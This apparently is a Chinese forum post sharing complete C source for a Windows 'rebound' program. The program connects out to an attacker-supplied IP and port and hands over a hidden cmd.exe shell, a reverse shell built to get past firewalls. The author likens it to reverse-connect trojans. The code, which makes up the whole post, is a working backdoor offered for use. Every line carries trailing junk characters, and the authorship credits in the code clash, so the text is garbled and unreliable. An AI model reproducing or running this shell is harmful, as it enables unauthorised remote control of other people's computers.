这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H1]G<N3
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/* ============================== a2/!~X9F
Rebound port in Windows NT HsO4C)/
By wind,2006/7 6"b =aPTi
===============================*/ 6x7pqHM
#include L>
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#include jNBvy1
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#pragma comment(lib,"wsock32.lib") /z9oPIJ=*
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void OutputShell(); 8K=sx@l
SOCKET sClient; d#'aT mu!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V*U{q%p(
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void main(int argc,char **argv) B_$hi=?TTd
{ b S[;d5
WSADATA stWsaData;
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int nRet; 5srj|'ja
SOCKADDR_IN stSaiClient,stSaiServer; +zn&DG0\X
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if(argc != 3) 3Uw}!>`%
{ '[g@A>xDvW
printf("Useage:\n\rRebound DestIP DestPort\n"); [<CIh46S.
return; uY{V^c#mv
} _\uyS',
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WSAStartup(MAKEWORD(2,2),&stWsaData); ancs
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b+7!$
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stSaiClient.sin_family = AF_INET; IY jt*p5
stSaiClient.sin_port = htons(0); av~dH=&=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9=D09@A%e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y(!J8(yA
{ T-S6`^_L
printf("Bind Socket Failed!\n"); )4u6{-|A
return; %+0
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} 8Evon&G59
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stSaiServer.sin_family = AF_INET; lM/)<I\8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P4H%pm{-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9b88):[qO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *?dw`j_b >
{ :70n% 3a
printf("Connect Error!"); 9 8"/]ERJ
return; fjGYp
} +eT1/x0
OutputShell(); bvpP/LeY
} )}`3haG
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void OutputShell() VkKq<`t<
{ *}\}@0%
char szBuff[1024]; [,_4#Zz
SECURITY_ATTRIBUTES stSecurityAttributes; B{`4"uEb$G
OSVERSIONINFO stOsversionInfo; Qqju6} +
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e(t,~(
STARTUPINFO stStartupInfo; !>olD_
char *szShell; -^a?]`3_v
PROCESS_INFORMATION stProcessInformation; ^#:F8D
unsigned long lBytesRead; 02|f@bP.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 39j "z8n
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )+!~xL
stSecurityAttributes.lpSecurityDescriptor = 0; N^u,C$zP9C
stSecurityAttributes.bInheritHandle = TRUE; ?uiQ'}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eJh4hp;x
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7F=Xn@ _
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X}!r4<;(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @%8Xa7+
stStartupInfo.wShowWindow = SW_HIDE; >=<qAkk
stStartupInfo.hStdInput = hReadPipe; yW3X<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WGG
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GetVersionEx(&stOsversionInfo); }digw(
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switch(stOsversionInfo.dwPlatformId) GoVB1)
{ fevLu[,
case 1: _3G;-iNX;
szShell = "command.com"; /~k)#44
break; !y1]S .;
default: AYB
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szShell = "cmd.exe"; ubq4Zv7'
break; @ P[o
} !>%U8A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #Kr\"o1]
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send(sClient,szMsg,77,0); uU&,KEH
while(1) Cd>GY
{ s`:>"1\|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8(.DI/
if(lBytesRead) _.E y_K_1
{ .I6:iB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \t'v-x>2y5
send(sClient,szBuff,lBytesRead,0); gH{X?
} 1KH]l336D"
else \,U#^Vr
{ XDtr{r6z
lBytesRead=recv(sClient,szBuff,1024,0); q T16th[D
if(lBytesRead<=0) break; ;g-L2(T05;
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'Gn-8r+
} t}Z*2=DO
} R"j6 w[tn
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return; nG0Uv%?{pj
}